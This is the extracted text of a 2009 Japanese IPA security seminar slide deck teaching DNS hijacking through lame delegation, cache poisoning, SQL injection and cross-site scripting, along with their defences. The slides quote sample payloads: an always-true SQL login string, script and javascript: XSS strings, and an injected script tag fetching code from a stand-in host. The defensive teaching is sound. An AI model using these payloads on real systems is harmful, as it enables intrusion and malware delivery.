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第2版 - IPA 独立行政法人 情報処理推進機構

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第2版 - IPA 独立行政法人 情報処理推進機構
2009年度IPA情報セキュリティセミナー
技術コース 専門編
本テキストのpdfファイルは
http://www.ipa.go.jp/security/event/2009/isec-semi/kaisai.html
よりダウンロードできます。
Copyright © 2009 独立行政法人 情報処理推進機構
2009年度IPA情報セキュリティセミナー
技術コース 専門編について
• 対象
– 企業等のウェブサイト公開やシステム運用にお
ける安全性向上について理解を深めたい方
• ポイント
– 主に企業ウェブに関連したセキュリティ事故の
ケーススタディによる脅威と対策の技術的解説
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2009年度IPA情報セキュリティセミナー
2
技術コース 専門編の内容
ケーススタディ+解説
1. DNS経由の不正アクセス
2. ウェブアプリケーションの脆弱性
3.インシデントレスポンス
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3
ケーススタディ1
DNS経由の不正アクセス
会社のドメイン名が乗っ取られる?
~迷惑をかけないドメイン名管理について学ぶ~
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2009年度IPA情報セキュリティセミナー
ケーススタディ1
DNS経由の不正アクセス
1.1 DNSとは?
1.2 事例:会社のドメイン情報が乗っ取られる
1.3 何が起きていたのか
1.4 対策の前に
1.5 危険なDNS設定とは
1.6 LAME delegation の対策
1.7 DNSキャッシュポイズニング
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2009年度IPA情報セキュリティセミナー
5
1.1 DNSとは?
• DNS(Domain Name System)
• ホスト名(例:www.example.jp)から、アクセスに必要なIPアドレ
ス(例:192.168.0.1)を検索する世界的な分散データベース
• 自分で取得したドメイン名を使いたい場合、正式なDNS
サーバをドメイン名レジストリ(JPドメインはJPRS)に登録し
た上で、正式なDNSサーバを通じて公開する必要がある。
URLにおけるドメイン名の例
Windows でのクライアント設定例
http://www.example.jp
ホスト名
ドメイン名
変換
FQDN (Fully Qualified Domain Name)
通信先
192.168.0.1
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1.2 事例:
会社のドメイン情報が乗っ取られる
• ソフトウェア開発会社 M
– 社員数約500名
– 公式の自社ウェブサイト以外にも、顧客サイトや、開発用
のテストサイトなどを運用
– ISMSやPマークの全社取得を目指し、情報の取扱や安
定稼働、セキュリティには注意している
– ネットワーク管理グループを設け、日々の運用でパッチ
の検査と適用を実施
– データセンターに基幹サーバを設置
– ネットワークは侵入防止システム(IPS)で24時間監視
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社内ネットワーク環境
インターネット
社内
ユーザ
FW&IPS
FW&IPS
○○○○
v
■■■■■■■■
■■■■■■■■
■■■■■■
サーバ
エリア
○ ○○ ○
○ ○○ ○
○ ○○ ○
○ ○○ ○
○ ○○ ○
○ ○○ ○
○ ○○ ○
○○○○
専用線
○○○○
WEB
M社 社内ネットワーク
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DB
DNS
MAIL
インターネットデータセンター(IDC)
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ウェブサイトを見た顧客からクレーム
• ある日突然、「御社のウェブサイトを
見たら、ウイルス対策ソフトが反応し
た」というクレームが来始めた
• 「これまでと違うページが見えること
がある」というクレームも複数
ウェブアプリケーションは専門
企業に依頼して検査していたし、
OKも出ていたのに・・・
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メールにも別ルートからクレームが
• M社(この会社)宛のメールが届かないことが
ある
• 届く場合でも、遅延していることがある
– 長いときは数日も届かない
• 全く問題がないケースも多数
ウェブのクレームと同じく、「ときどき」。
共通項はそれだけ。同じ原因??
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管理グループによる調査
• メールの調査
• 外部からのメールに遅延が生じていることは確認
• サーバ負荷には問題はない
• 社内からメールを送信する場合は問題なさそう
• ウェブサイトの調査
• 社内から確認したところでは問題ない
• バックエンド含めサーバ負荷にも問題はない
• 結局事象は確認できたが原因は特定できず
– 外部からのアクセスに集中しているので、ネットワーク回
線の不調か?→ISP に調査を依頼したが、何も判明せ
ず
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社内から調査する
M
●●●●
●●●●
website
●●●●
●●●●
●●●●
●●●●
●●●●
<div class=“maincontent”>
/* start
topic
area
*/
<div class=“maincontent”>
<div
id=“topic_xxxx”>
/*class=“topic”
start
topic area
*/
<div-class=“maincontent”>
<p>●●
●● ●● ●●id=“topic_xxxx”>
●● ●● </p>
<div
class=“topic”
○○○○
/* start
topic
area
*/
<div●●
class=“maincontent”>
<p>●●
●●
●●
●●
●●
</p>
<p>●●
●● ●●
●●
●●
●●
</p>
■■■■■■■■
<div
class=“topic”
id=“topic_xxxx”>
/*
start
topic
area
*/ </p>
<div
class=“maincontent”>
<p>●●
●●
●●
●●
●●
●●
■■■■■■■■
<p>●●
●●
●●
●●
●●
●●
</p>
<p>●●
●●
●●
●●
●●
●●
</p>
■■■■■■
<div
class=“topic”
id=“topic_xxxx”>
www:
tail
–f
/var/log/apache/access_log
/*●●
start
- topic
area
*/
<p>●●
●●
●●
●●
●●
</p>
<p>●●
●●
●●
●●
●●
●●
</p>
<p>●●
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●●
●●
●●
●●
</p>
<p>●●
●● ●● ●●id=“topic_xxxx”>
●● ●●
</p>
</div>
<div
class=“topic”
<p>●●
●●
●●
●●
●●
●●
</p>
<p>●●
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●●
●●
</p>
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</p>
</div>
<p>●● ●● ●● ●● ●● ●●
</p>
</div>
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</p>
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</div>
--------------------------</div>
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</p>
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</p>
</div>
</div>
<p>●● ●● ●● ●● ●● ●● </p>
</div>
</div>
●● ●● ●● ●● ●●
</div>
●● ●● ●● ●● ●●
<div class=“maincontent”>
●● ●● ●● ●● ●●
/* start -●●
topic
area
*/
●● ●●
●●●●
●● ●● ●● ●● ●●
<div class=“topic”
id=“topic_xxxx”>
●● ●● ●●
<p>●● ●● ●● ●● ●● ●● </p>
<p>●● ●● ●● ●● ●● ●● </p>
<p>●● ●● ●● ●● ●● ●● </p>
○○○○
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●●
●●
●● ●●
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●● ●● ●● </p>
○○○○
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●●
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●●
</div>
●● ●● ●● ●● ●●
</div> ●● ●● ●● ●●●●
v
○ ○○ ○
○ ○○ ○
○ ○○ ○
○ ○○ ○
○ ○○ ○
○ ○○ ○
○ ○○ ○
●● ●● ●● ●● ●●
●● ●● ●●
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[~/work]
• 会社のウェブサイトのあ
るサーバや、DBを調べ
たが、怪しいものは見当
たらない
• クロスサイト・スクリプティ
ング? しかし、構築時に
セキュリティ検査済みだ
し、監視サービスも何も
言ってきていない。ログ
にも怪しい兆候はない
2009年度IPA情報セキュリティセミナー
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念のため社外から調査する
M
●●●●
●●●●
●●●●
●●●●
website
●●●●
●●●●
●●●●
○○○○
■■■■■■■■
■■■■■■■■
■■■■■■
v
--------------------------●● ●● ●● ●● ●●
●● ●● ●● ●● ●●
●● ●● ●● ●● ●●
●● ●● ●● ●●●●
●● ●● ●● ●● ●●
●● ●● ●●
○ ○○ ○
○ ○○ ○
○ ○○ ○
○ ○○ ○
○ ○○ ○
○ ○○ ○
○ ○○ ○
○○○○
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●● ●● ●● ●● ●●
●● ●● ●● ●● ●●
●● ●● ●● ●●●●
●● ●● ●● ●● ●●
●● ●● ●●
○○○○
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• 携帯電話回線(モバイル
カード)経由で見てみる
• 異常なし。・・・しかし、た
またまリロードしてみた
らウイルス対策ソフトが
反応した!
• あれ、これうちのサイト
に似てるけど微妙に違う
• 連続的にリロードすると
何度かに一度程度出て
くる
2009年度IPA情報セキュリティセミナー
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ウェブサイトのIPアドレスが違う?
• 知らないIPアドレスに誘導されている!?
C:¥WINDOWS>nslookup www.m.example.jp
Server: mobile.isp.example.com
Address: 10.1.1.1
Non-authoritative answer:
Name:www.m.example.jp
Addresses: 192.168.0.2 192.168.0.3 172.16.44.193
C:¥WINDOWS>nslookup –type=ns m.example.jp
Server: mobile.isp.example.com
Address: 10.1.1.1
Non-authoritative answer:
m.example.jp nameserver = ns.m.example.jp
m.example.jp nameserver = ns-itaku.server.test
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このIPアドレスは
何だ!?
全く知らないアド
レスだが・・・
あれ?このネー
ムサーバって、
以前に見たこと
がある・・・
2009年度IPA情報セキュリティセミナー
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1.3 何が起きていたのか
• 不正なDNSサーバが、正式なDNSサーバと
して動いていた
– 昔委託していたDNSサーバがあったが、業者の
撤退後、その業者が利用していたドメイン名を、
期限切れ後に第三者が取得したらしい
– レジストリの情報がそのままだったので、第三者
のサーバが正式なDNSサーバに…
• 数分の一の確率で偽サーバに誘導されてし
まう(実装に依存)
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解説:正式なDNSサーバとは
• そのドメイン名に関
する正しい情報を持
つ、権威あるネーム
サーバ
(Authoritative NS)
• 取得したドメイン名
の正式なDNSサー
バは、ドメイン名レジ
ストリに登録する必
要がある
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ドメイン名レジストリ
(.JP ドメインならば JPRS が管理)
m.example.jp の正式なDNSサーバ
・ns.m.example.jp
・ns2.m.example.jp
foobar.example.jp の正式なDNS
サーバ
・ns.foobar.example.jp
・ns.extend.example.jp
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不正なDNSサーバによる誘導
[email protected] さん宛にメール
www.m.example.net
→192.168.1.2
メールの宛先
→192.168.1.4
メールサーバのIPアドレスを
教えてください
本当のDNS
悪意あるDNS
192.168.0.1
172.16.44.193
こちらのサーバに送れば
いいんですね
メールを受信しました
メールサーバのIPアドレスを
教えてください
こちらのサーバに送れば
いいんですね
本当のサーバ
悪意あるサーバ
192.168.0.4
172.16.44.193
www.m.example.net
→172.16.44.193
メールの宛先
→172.16.44.193
メールを奪取しました
読んだので本来の
サーバに送付しておき
ますね
• アクセスした DNS サーバによって、宛先が
かわってしまう
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被害
• 公式ウェブサイトにアクセスしようとした人に、ウイ
ルスを感染させようとした
• ウェブサイトの誘導だけではなく、メールの宛先も
同様に誘導され、メールも読まれてしまっていた
• 急いでドメイン登録会社を通じ、DNSレジストリの登
録情報を修正する手続きを取った
• メールが読まれていた事から情報漏えいにもあた
るので、どれだけ被害があったかもう把握できない。
企業として謝罪する必要があり大打撃
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参考: 最近のウイルスの動作
• 罠ウェブ経由/普通のウェブ経由で感染
• ブラウザやプラグインの複数の脆弱性をついて侵入を試み
る
• 最初は小さくて流用しやすいプログラム(ダウンローダ)に感
染させる
• 実際の攻撃は別サイトからダウンロードしたコード(プログラ
ムそのもの)が行う
• 何がダウンロードされるかわからない=対策パッチをあてて
も、そのパッチを掻い潜る次の攻撃手法が使われる
• ダウンロードや命令には、会社が制限できない内部→外部
のHTTP/HTTPSを利用し、正規の通信に見せかける。
参考: 近年の標的型攻撃に関する調査研究
http://www.ipa.go.jp/security/fy19/reports/sequential/index.html
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1.4 対策の前に:
DNSサーバには2種類あります
DNSコンテンツサーバ
(Authoritative サーバ)
自分のドメイン名情報を管理し
外部に公開するのが目的
上位のドメイン情報に登録されることで
「正式なDNSサーバ」となる
DNSキャッシュサーバ
(Recursiveサーバ/Resolve サーバ)
内部からの要求により
外部のDNS情報を検索するのが目的
クライアントがインターネットの設定で
「DNSサーバ」として指定する
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正式なDNSサーバへのアクセス方法
http://www.example.jp にアクセス
•
www.example.jp は192.168.0.2 です
DNSキャッシュサーバ
DNSコンテンツサーバ
「WWW.EXAMPLE.JP.」の情報は?
ルートDNSサーバ
A.DNS.JP. が知っています
•
全世界に13システム
•
「WWW.EXAMPLE.JP.」の情報は?
A.DNS.JP
NS.EXAMPLE.JP. が知っています
「WWW.EXAMPLE.JP.」の情報は?
192.168.0.2 です
リクエスト
JPドメイン名用に5システム
NS.EXAMPLE.JP
example.jp.ドメイン名情報を管
理すると登録したDNSサーバ
•
DNSの階層を辿る
には、一つ上のドメ
イン階層のサーバ
に正式なDNSサー
バが登録されてい
る必要がある
ルートDNSサーバ
から検索開始
日本(JPドメイン名)
はJPRSが管理す
るレジストリに登録
最終的に目的の情
報を持つDNSサー
バに辿りつく
返答
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1.5 危険なDNS設定とは:
ネットワークの実際と設定の不一致
• ネットワークの実体が
正式な状態とずれる要因
– 管理業者の移転や
サーバ設定の更新時の
設定変更忘れ
– ミススペルなどの
設定ミス
(example.jp
→ exmaple.jp)
root-servers.net
dns.jp
ns.exma
ple.jp
ns.exam
ple.jp
example.jpの登録
・ns.example.jp
・ns.exmaple.jp
・ns2.example.jp
ns2.exa
mple.jp
あるはずの無いサーバが正式なサーバに
LAME Delegation と呼ばれる良くない状態となる
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LAME delegation 状態
• LAME delegation とは、正式なDNSサーバ
(Authority)として登録されたサーバがおかし
い状態
1. そもそも DNS サーバとして応答しない
2. 正式なサーバではないという意味の返答、
Non-authoritative answer が返ってくる
3. 複数のコンテンツサーバの応答が一致しない
問いあわせるサーバにより返答が違う
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ドメイン情報ハイジャックの可能性
• 手つかずのドメインや失
root-servers.net
効したドメインを取得し、
不正なDNSサーバを立
example.jpの登録
dns.jp
・ns.exmaple.jp
てられてしまう
・ns2.example.jp
• 内部で DNSサーバを
共用していると、
ns.exma
ns.exam
ns2.exa
ple.jp
ple.jp
mple.jp
内部サーバで名前
解決されるので
被害に気がつきにくい 第三者が EXMAPLE.JP ドメインを取得すると
正式なDNSサーバを勝手に立てられてしまう
類例→Typosquatting:有名なサイトとよく似たドメイン名を取得し、タイプミスを狙う
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不正なDNSサーバを立てられると
• ウェブサイトへのアクセスを誘導できる
– フィッシング詐欺や認証情報の取得など
• メールの宛先をそのままに誘導できる
• メールアドレスがあれば、正式なSSL証明書
を取得できる可能性がある
• 現象が「ときどき」起きるので、調査は難
しく、放置してしまいがちになる
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1.6 LAME delegation の対策
• 今から取れる保険的対策
– 組織の正しいDNSサーバを調査する
• ネットワーク上の現物調査ではなく、ネットワーク構成上そ
うあるべき正しいサーバを調査する。
• 自社のDNSサーバだけではなく、委託先のDNSサーバが
あれば、それも調査をおすすめします。
– DNSレジストリへの登録や、DNSサーバの設定が
違っていたら、正しい状態に修正する
• DNSレジストリの修正は、一般にドメイン名登録業者(レジ
ストラ)に依頼することとなります
• ウェブでのインタフェースが用意されている事も
• コンテンツサーバが複数ある場合は、同じドメイン名に関
する NS 情報は、全部同じ内容にしてください。
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正式なDNSサーバの調査方法(1)
手順を踏んで調べる方法
• 自組織が運用している、「正式」なDNSサーバの一覧を調べ
る
• whois で、レジストリに登録されている「正式」なDNSサーバ
の一覧を調べる
• whois の結果返されたDNSサーバに、IPアドレスで
nslookup をし、NS レコードを調べる
• 全ての NS に指定されているサーバについてたどっていき、
本来そうあるべき一覧と違わなければOK
※参考:ドメイン名の登録と DNS サーバの設定に関する注意喚起(IPA)
http://www.ipa.go.jp/security/vuln/20050627_dns.html
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正式なDNSサーバの調査方法(2)
簡易的に外部サイトを利用して調べる方法
DNS Bajaj ( http://www.zonecut.net/dns/ )
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根本的解決
• 2種類のDNSサーバを機能ごとに分けて
構築する
– アクセス制限の対象や設定が全く違う
コンテンツサーバ
キャッシュサーバ
目的
自分のドメイン情報の管理
要求に応じたDNSの検索
アクセス元
基本的に外部
組織内部
アクセスする主体
キャッシュサーバ
一般のコンピュータ
上位ドメインへの登録
○必要/Authoritative
×不要/Non-authoritative
他ドメイン情報の要求
×返答しない
○再帰的に検索して返答する
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DNSサーバによるアクセス制限の違いに注意
キャッシュサーバは
外部のDNSサーバ
にアクセスできる必
要がある
インターネット
外部から利用す
る必要がない
DNSコンテンツサーバ
外部からのリクエスト中心
DNSキャッシュサーバ
内部からのリクエスト中心
コンテンツサー
バは外部からア
クセスできる必
要がある
組織内部
直接外部の
DNSサーバに
アクセスする
必要はない
内部からの
リクエストが
本来の通信
混ぜるな危険 DNSサーバの種類により、全く違うアクセス制限が必要
その他よくある注意事項
•
•
DNS はゾーン転送以外にも TCP を使うので、53/udp だけでなく53/tcp も許可する必要
がある。可能ならばDNS サーバで EDNS0 を利用する。
コンテンツサーバで、ゾーンの TTL 設定が短かすぎる(30秒など)と攻撃を受けやすくなる。
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まとめ
• DNS が LAME delegation 状態となっ
ている場合、状況によってはドメイン情
報をハイジャックされる危険性がある
• 自組織のDNSの設定を確認し、LAME
Delegation 状態があれば解消する
• これから作成するDNSサーバは、機能
ごとに分割して構築する
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31
1.7 DNSキャッシュポイズニング
• キャッシュを偽情報で汚染する
www.example.jp?
www.example.jp?
XX.YY.XXX.YYY
XX.YY.XXX.YYY
問い合わせと応答の正常なやり取り
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32
DNSキャッシュポイズニング
www.example.jp?
XX.ZZ.VVV.ZZZ
www.example.jp?
XX.YY.XXX.YYY
www.example.jp?
XX.ZZ.VVV.ZZZ
問い合わせと偽リプライを多数送信
(バースデイアタック型)
のクエリIDが一致するまでクエリと偽応答を何度も送信する
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カミンスキーアタック
• 従来型より効率の良いDNSキャッシュポイズ
ニング
– 従来型は汚染に失敗するとTTL(Time To Live)
設定値の間次の攻撃を待つ必要があった
– 存在しないホスト名に関するクエリを、都度変えて
送れば、TTLは関係ない
• 001.example.jp、002.exsample.jp・・・
• 偽情報を持つDNSサーバに誘導する手法と、
直接キャッシュ情報を書き換える手法が存在
する
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34
DNSキャッシュポイズニング
www.example.jp?
001.example.jp?
XX.ZZ.YYY.ZZZ
のクエリIDが一致するまでクエリ
と偽応答を何度も送信する
www.example.jp?
XX.ZZ.YYY.ZZZ
001.example.jp?
www.example.jp NS ns.evelexample.jp
偽造応答にNSレコードを入れる
(カミンスキー型)
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キャッシュポイズニング対策
• 再帰問い合わせを制限・禁止
• ソースポート(クエリIDと同様に、汚染時に一
致させる必要があるもの)のランダマイズ
– パッチがリリースされている
– 確率を下げるだけなので、ゼロにはならない
• 連続的問い合わせの制限
• 詳細は
http://www.ipa.go.jp/security/vuln/DNS_se
curity.html
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36
参考資料一覧
•
IPA ドメイン名の登録と DNS サーバの設定に関する注意喚起
http://www.ipa.go.jp/security/vuln/20050627_dns.html
•
IPA 近年の標的型攻撃に関する調査研究
http://www.ipa.go.jp/security/fy19/reports/sequential/index.html
•
JPRS DNS 関連技術情報
http://jprs.jp/tech/
•
JPNIC 逆引きネームサーバの適切な設定について
http://www.nic.ad.jp/ja/dns/lame/announce.html
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37
ケーススタディ2
ウェブアプリケーションの脆弱性
企業サイトがウイルス感染の加害者に
~脆弱性の脅威と技術的解決を学ぶ~
Copyright © 2009 独立行政法人 情報処理推進機構
2009年度IPA情報セキュリティセミナー
ケーススタディ2
ウェブアプリケーションの脆弱性
2.1 SQLインジェクションとは
2.2 SQLインジェクション対策
2.3 クロスサイト・スクリプティングとは
2.4 クロスサイト・スクリプティング対策
Copyright © 2009 独立行政法人 情報処理推進機構
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39
攻撃の類型
• 直接攻撃
–データベース
–セッション管理への攻撃
• 間接攻撃
–コンテンツ改ざんによる罠
–スクリプトを悪用する罠
–認証を盗み、成りすます
Copyright © 2009 独立行政法人 情報処理推進機構
Copyright (c) 2009 NPO日本ネットワークセキュリティ協会
Page
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40
2.1 SQLインジェクションとは
• 本来直接操作できないデータベー
スを外部から操作されてしまう
• 原因
– データベースへの命令の組み
立て方に問題
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41
SQL文を使ったデータベースとのやり取り
• データベースへの問い合わせはウェブアプリ
ケーションが行う
select * from
idtable where id =
„sonodam‟ and
password=
„sonopass‟;
id:sonodam
password:sonopass
ウェブアプリ
ケーション
ようこそ「園田」さん
データベース
該当データ有り
ウェブアプリケーションが問い合わせ代行、翻訳を行っている
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42
SQLインジェクション攻撃
• 外部からSQL文を「挿入」されてしまう
select * from idtable
where id = „sonodam‟
and password= „test‟
or „A‟ = „A‟;
id:sonodam
password:test‟ or
„A‟ = „A
ウェブアプリ
ケーション
ようこそ「園田」さん
データベース
該当データ有り
ウェブアプリケーションがSQL文をスルーしていることが原因
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43
なぜ SQL 文を挿入されてしまうのか?
• 特別な意味を持つ記号文字の扱いが不適切。
例: ’(シングルクォート):テキスト文字の引用符
SELECT * FROM a WHERE id='$p';
$p=foo の場合:
SELECT * FROM a WHERE id='foo';
id='
';
$p=foo' or 'a'='a の場合:
SELECT * FROM a WHERE id='foo'
id='
or 'a'='a';
';
変数中の記号文字が意味のある文字として解釈される。
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2.1 SQLインジェクションとは(続き)
• 生じうる脅威
– 秘密情報、個人情報等の漏えい
– 重要情報の改ざん、破壊
• ウェブサイト上にウイルスを「埋め込まれる」
– 任意のコード・コマンドを実行される
• 別のサーバを攻撃する踏み台となる
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狙われるCMSのコンテンツ
• データベースに格納されたコンテンツ
データ(HTMLデータなどを含む)を汚染
する
• 外部のスクリプトを読み込ませて、ウイ
ルスをダウンロードさせる仕組み
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang=“ja”>
外部のスクリプトを読みこんで実行
<head>
<title>Welcome to “C” shopping site</title>
<link rel="stylesheet" href="style.css" TYPE="text/css">
<script src=“http://othersite.example.net/3.js”></script>
</head>
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最近の傾向
• SQLインジェクション攻撃は2008
年から大流行中
• 脆弱なアプリケーションを探して、
既知の攻撃を仕掛けまくっている
• ウイルスダウンロードを仕掛ける
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2009年1月
攻撃検知数
1,508,852件
2008年12月
攻撃検知数
15,027,791件
ボットネット悪用の
急増
2009年3月
攻撃検知数
285,548件
さらにツールが進化
水面下で売買
検索エンジンの悪用
SQLインジェクションによる
改ざん・情報漏洩事件
2009年7月
攻撃検知数
60,638件
ツールによる攻撃が激化
JSOCから注意喚起を配信
http://www.lac.co.jp/info/alert/alert20090805.htmlより引用
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SQLインジェクションの爪痕
ウェブサーバのログに怪しい痕跡が・・・
/shop/cart/?no= ... %20SELECT%20 ... %20FROM%20 ... %20WHER
E%20 ... %20HAVING%20 ...
(...)
/shop/cart/?no= ... %20SELECT%20 ... %20FROM%20 ... %20WHER
E%20 ... %20ORDER%20 ...
データベースのログにはデータ更新された記録が。
UPDATE pages SET "created_at" = '2006-09-05
16:19:46', "template" = 'toppage.tmpl',
"verified" = 1, "role" = NULL, "published" = 0,
contents=“<html><head> ...
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49
ログ解析ツールiLogScanner
 解析結果のレポート例
 解析結果のログ例
47件のSQLインジェクション攻撃を検出
攻撃成功は0件
攻撃成功の可能性は
検出されなかった。
攻撃元のIPアドレス
攻撃のあった時刻
ウェブサイトの脆弱性検出ツール iLogScanner
http://www.ipa.go.jp/security/vuln/iLogScanner/index.html
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2.2 SQLインジェクション対策
• 根本的解決(原因を無くす)
– バインド機構(プリペアードステートメント)の利用
– エスケープ処理
– エスケープ以前の問題
• 保険的対策(取りあえずの回避策)
– エラーメッセージの非表示
– データベースアカウントの権限見直し
– その他の対策
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バインド機構を利用 (例: Perl DBI)
• 変数と関係なく構文解釈を行うため、
SQLインジェクションはありえない
$sth = $dbh->prepare(
"SELECT id, name, tel, address, mail FROM usr
WHERE uid=? AND passwd=?");
$sth->execute($uid, $passwd);
バインド変数
プレースホルダ
参考:セキュアDBプログラミング「バインドメカニズムを活用しよう」
http://www.ipa.go.jp/security/awareness/vendor/programmingv1/a02_01.html
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バインド機構を利用 (例: Java)
String parameter = ユーザが入力した値;
Connection c = データベース接続オブジェクトの取得;
// 値を埋め込む前の形のSQL文をコンパイルし、構文を確定
PreparedStatement st = c.prepareStatement("SELECT name,
price FROM product_table WHERE code=?");
st.setString(1, parameter);
// ? の場所に値を埋め込む
ResultSet rs = st.executeQuery(); // クエリの実行
http://www.ipa.go.jp/security/awareness/vendor/programmingv2/web02.htmlよ
り引用。
参考::http://www.thinkit.co.jp/cert/tech/7/5/3.htm
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バインド機構を利用
(例: PostgreSQL+PHP)
<?php
String parameter = ユーザが入力した値;
$dbc = pg_connect("dbname=pg_db"); // データベース接続
// 値を埋め込む前の形のSQL文をコンパイルし、構文を確定
$result = pg_prepare($dbc, "query1", 'SELECT name, price
FROM product_table WHERE code=$1');
// $1の場所に値を指定してクエリの実行
$result = pg_execute($dbc, "query1", array(parameter));
?>
http://www.ipa.go.jp/security/awareness/vendor/programmingv2/web02.htmlよ
り引用。
参考: http://www.phppro.jp/phpmanual/php/function.pg-prepare.html
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エスケープ処理(根本的解決)
• エスケープ処理の実施。
特別な意味を持つ記号文字が普通の文字として解
釈されるように処理する。
例:' → ''(同じ文字の繰り返し)
$p=foo' or 'a'='a の場合:
SELECT * FROM a WHERE id='foo'' or ''a''=''a';
変数中の ‘(シングルクォート)が、普通の文字として
解釈される。
同様に、バックスラッシュ’¥’にも繰り返しによるエス
ケープ処理が必要な場合がある。
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55
実際のエスケープ処理
• エスケープ関数
(Perl の DBI quote() や PHP の
dbx_escape_string())
• 置き換え演算子等で自己エスケープ処理
( s/'/''/g; など)
– 対策洩れが生じやすい方法
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エスケープ処理以前の問題(根本的解決)
• 外部から SQL 文を直接入力する。
<html>
<form>
<input type="hidden" value="SELECT * FROM ...">
</form>
• 「論外」であり、避けるべき実装である。
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エラーメッセージを表示すると・・・
■名前: 悪人 太郎 SQL error with query SELECT a.name,
a.displname, a.passwd, a.expire_date, a.create_date, a.misc
FROM account as a WHERE a.category=7 ORDER BY c.date:
Can't open file: „account.MYD'. (errno: 145)
■趣味: クラッキング
• 攻撃者の視点では、こう見える
– データベースを利用→SQL インジェクションの可能性。
– SQL エラーに気を使っていない→攻略の可能性。
– エラー内容にSQL文が含まれる→レコード定義が推測で
きる&試行錯誤すればどんどん調査できる可能性。
– エラー内容から攻略方法を検討・・・。
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エラーメッセージを非表示にする
(保険的対策)
• ウェブアプリケーションで対応。
–アプリケーションでエラーメッセージ表
示処理を用意して、それを呼び出す。
• データベースの設定で対応。
–設定で変更。
• ウェブサーバの設定で対応。
–設定でエラー時の応答を設定。
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エラーメッセージを非表示にする
(保険的対策)
• ウェブサーバでの設定例
– Microsoft IIS 6
※ デフォルト値は
「クライアントに詳細
な ASP のエラー
メッセージを送る」
なので注意!
• この設定で、ASP のエラーは全て置き換えられる。
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エラーメッセージを非表示にする
(保険的対策)
• ウェブサーバでの設定例
– PHP 5
(php.ini などで)
display_errors=Off :エラーをHTMLとして画面出力するか
display_startup_errors=Off ; PHPの初期動作時点で起きるエラーを
HTMLとして画面出力するか
他、
error_reporting ; エラーの表示内容を設定
log_errors
; ログにエラー出力を行うか設定
– エラーを表示しないだけでは駄目で、エラーの内容を選別し
て、ログに記録するようにしておく必要がある。
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データベースの権限は制限する
(保険的対策)
• 「権限全部入り」のアカウントは使わない。
× sa (System Administrator)
× dba (Database Administrator)
• データベース毎に専用のアカウントを作り、
権限を制限して使う。
• 既存のテーブルを読み書きするだけなのに、
テーブル操作や管理等の権限はいらない。
• 権限を必要最小限にすれば、防げる攻撃も
ある。
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その他の対策(ビジネスの話も含む)
(保険的対策)
• DBに格納する情報を見直す
• 収集する情報を見直す
– 必要最小限の情報しか格納しない
• サービスを見直す
変なリスクを負ってまで
やる必要があるのか?
• パスワードはそのまま保存しない
– ハッシュ値を保存する
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まとめ:SQLインジェクションの対策
• SQL文の組み立てには必ず
エスケープ処理を実装する。
• 公開ページでは、エラー
メッセージをそのまま
ブラウザに表示しない。
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2.3 クロスサイトスクリプティングとは
• 罠に仕込まれたスクリプトが知らぬ
間に動作してしまう
• 原因
– ユーザーに送るHTMLデータの
作成方法に問題
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危険のない普通のアクセス
お気に入りや
ブックマーク
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危険が無い
ウェブサイト
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危険なアクセス
脆弱なウェブサイト
汚染済みデータ
仕掛けられた爆弾
(スクリプト)が手元
で爆発する
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危険のないアクセス
危険が無い
ウェブサイト
爆弾は爆発する形
で手元に来ない
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スクリプトを埋め込まれた結果・・・
• Cookie が盗まれる
–セッション ID などの情報が盗まれる
• フォーム入力のデータが盗まれる
–ユーザーID、パスワード
• ページに偽情報が表示される
スクリプトでできること
はほとんど可能
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2.4 クロスサイトスクリプティング対策
• ユーザーにHTMLテキストの入力を許
可しない場合と、許可する場合では対
策が異なる
– HTMLテキストを許可する場合は、タグを
選択的に許可する必要がある
– それぞれに「根本的対策」、「保険的対策」
がある
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HTMLテキストの入力を許可しない場合
• 根本的解決
–エスケープ処理
–URL 出力時のスキーム確認
–スクリプトを動的に生成しない
–スタイルシートを動的に生成しない
• 保険的対策
–入力値チェック
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エスケープ処理(HTML不許可/根本的解決)
•「記号文字」を置換 (HTMLを許可しない場合)
•例:
& → &amp;
"
<
>
'
→
→
→
→
&quot;
&lt;
&gt;
&#039;
入力値:<script>alert("test");</script>
置換後:
&lt;script&gt;alert(&quot;test&quot;);&lt;/script&gt;
見た目は<script>alert(“test”);</script>に見える
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URL 出力時のスキーム確認
(HTML不許可/根本的解決)
• URL の中に埋め込まれる場合
– URL の入力を許可している場合、URL の形で
スクリプトを埋め込まれることがある。
例: javascript:alert('IPA');
– 利用者にリンクの入力を許している場合は、要
注意。
• URL 出力時は http:// と https:// のみを許可
– data: や javascript: などのスキームを防ぐ
– ブラックリスト方式では漏れてしまう
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スクリプトを動的に生成しない
(HTML不許可/根本的解決)
• スクリプトそれ自体を、外部からの入力に基
づいて動的に生成しない。
– 例:
<script>~</script> の内容
<script src="~"> の参照先
• 危険なスクリプトを検出して排除する方法も
考えられるが、確実な判断は難しい。
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スタイルシートを動的に生成しない
(HTML不許可/根本的解決)
• スタイルシート内での expression() などによ
るスクリプト埋め込みを防ぐ。
– スタイルシートの入力を許可している場合、その
中にスクリプトを埋め込まれることがある。
例: width: expression(alert('XSS'));
– 利用者にスタイルシートの入力を許している場合
は、要注意。
• 危険なスクリプトを検出して排除する方法も
考えられるが、確実な判断は難しい。
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入力値チェック
(HTML不許可/保険的対策)
• チェックのタイミングを意識する
– 出力時の値に注目
入力値
入力値
チェック
入力値
ここでのチェックは回
避されるおそれ有り
入力値
処理
処理済み
入力値
出力
処理
出力対象
に注目!
• ブラックリストチェックは保険的対策でしかない
• 「出力直前」のチェックが有効
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2.4 クロスサイト・スクリプティング対策(続き)
• HTML テキストの入力を許可する場合
– 根本的解決
• 構文解析木を作成して、必要な要素のみを抽出
– 保険的対策
• 入力された HTML テキストから、スクリプトを除く
• 共通
– 根本的解決
• 文字コードの指定を行う
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構文木を作成する(HTML許可/根本的解決)
【例】
html
head
title
body
table
p
script
meta
thead
a
link
tbody
font
• 複雑な処理であり、十分な検討が必要。
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入力値チェック(HTML許可/保険的対策)
• スクリプトを無害な文字列に置換す
る
–「<script>」 → 「<xscript>」
–「javascript:」 → 「xjavascript:」
• 完全な対策は困難
–「java&#09;script:」
–「 java(改行コード)script: 」
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文字コード指定を行う
(共通/根本的解決)
• ウェブブラウザが、ウェブサイトの意図と反す
る文字コード解釈をする場合があり、ウェブ
サイト側での対策の効果がなくなる。
• Content-Type: ヘッダでの指定
– Content-Type: text/html; charset=euc-jp
• meta タグでの指定方法
– <meta http-equiv="Content-Type"
content="text/html; charset=euc-jp">
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包括的なクロスサイト・スクリプティング対策
• プログラマーにセキュリティの知識を行き届
